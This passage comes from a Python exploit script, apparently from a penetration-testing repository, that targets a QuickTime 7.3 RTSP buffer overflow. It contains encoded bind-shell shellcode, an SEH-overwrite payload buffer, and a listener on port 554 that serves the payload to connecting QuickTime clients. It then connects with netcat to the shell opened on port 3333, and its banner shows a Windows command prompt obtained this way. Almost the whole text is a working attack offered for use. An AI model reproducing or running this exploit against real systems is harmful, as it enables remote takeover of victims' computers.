# pop ebx pop ecx retn nopslide="\x90"*60 # win32_bind - EXITFUNC=process LPORT=3333 Size=344 Encoder=ShikataGaNai http://metasploit.com shellcode=("\xbb\xae\xef\x1f\x96\xda\xcc\x2b\xc9\xd9\x74\x24\xf4\x5a\xb1\x51" "\x31\x5a\x12\x83\xc2\x04\x03\xf4\xe1\xfd\x63\xf4\x94\xea\xc1\xec" "\x90\x12\x26\x13\x02\x66\xb5\xcf\xe7\xf3\x03\x33\x63\x7f\x89\x33" "\x72\x6f\x1a\x8c\x6c\xe4\x42\x32\x8c\x11\x35\xb9\xba\x6e\xc7\x53" "\xf3\xb0\x51\x07\x70\xf0\x16\x50\xb8\x3b\xdb\x5f\xf8\x57\x10\x64" "\xa8\x83\xf1\xef\xb5\x47\x5e\x2b\x37\xb3\x07\xb8\x3b\x08\x43\xe1" "\x5f\x8f\xb8\x1e\x4c\x04\xb7\x4c\xa8\x06\xa9\x4f\x81\xed\x4d\xc4" "\xa1\x21\x05\x9a\x29\xc9\x69\x06\x9f\x46\xc9\x3e\x81\x30\x44\x70" "\x33\x2d\x08\x73\x9d\xcb\xfa\xed\x4a\x27\xcf\x99\xfd\x34\x1d\x06" "\x56\x44\xb1\xd0\x9d\x57\xce\x1b\x72\x57\xf9\x04\xfb\x42\x60\x3b" "\x16\x84\x6f\x6e\x83\x97\x90\x40\x3b\x41\x67\x95\x11\x26\x87\x83" "\x39\x9a\x24\x78\xed\x5f\x98\x3d\x42\x9f\xce\xa7\x0c\x52\xea\x41" "\x9e\xe5\x15\x18\x48\x52\xcf\x52\x4e\xcd\x0f\x44\x3a\xe2\xbe\x3d" "\x44\xd2\x29\x19\x17\xfd\x40\x36\x97\xd4\xc0\xed\x98\x09\x8e\xe8" "\x2e\x2c\x06\xa5\x4f\xe6\xc9\x1d\xe4\x52\x15\x4d\x97\x35\x0e\x14" "\x5e\xbc\x87\x19\x88\x6a\xd7\x35\x53\xff\x43\xd3\xf4\x9c\xe6\x92" "\xe0\x09\xa9\xfd\xc3\x01\xc0\x1a\x79\xde\x5a\x06\x4f\x1e\xaf\x6c" "\x4e\xdc\x7d\x8e\xed\xcd\xee\xe3\x88\x35\xba\x50\xc7\x2e\xce\x58" "\xab\xb9\xd1\xd1\x88\x3a\xfb\x42\x46\x97\x55\x25\x39\x7d\x57\x94" "\xe8\xd4\x06\xe9\xdb\xbf\x05\xcc\xd9\xf1\x05\x11\x37\x67\x55\x12" "\x8f\x87\x79\x67\xa7\x8b\xf9\xb3\x2c\x8b\x28\x69\x52\xa3\xbd\xf3" "\x74\xa6\x4d\x58\x7a\xf1\x4d\x8e") # pad the rest of the buffer padding="\x41"*5900 # format the header header %= (buffer+shortjmp+pop+nopslide+shellcode+padding, len(body)) evil = header + body s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", 554)) s.listen(1) #print_banner() print """ Quicktime 7.3 RTSP BufferOverflow Exploit Original DoS exploit by h07 Python rewrite: Muts Rewritten again by: ReL1K SEH Overwrite A ton of help from muts at offensive-security root@sslinux1:/home/relik/Desktop# python quicktime.py [+] Listening on [RTSP] 554 [+] Connection accepted from: 10.211.55.5 [+] Done, connect to 10.211.55.5 on port 3333 root@sslinuxvm12:/home/relik/Desktop# nc 10.211.55.5 3333 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\QuickTime> Simply have someone with Quicktime connect to you with RTSP <ctrl>-c to Cancel """ print "[+] Listening on [RTSP] 554" c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.recv(1024) c.send(evil) print ("[+] Done, connecting to %s on port 3333 in 10 seconds..." % (addr[0])) time.sleep(10) connect=subprocess.Popen("nc %s 3333" % (addr[0]), shell=True).wait() c.close() s.close()
4,189
Python
.py
113
35.40708
95
0.712319
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)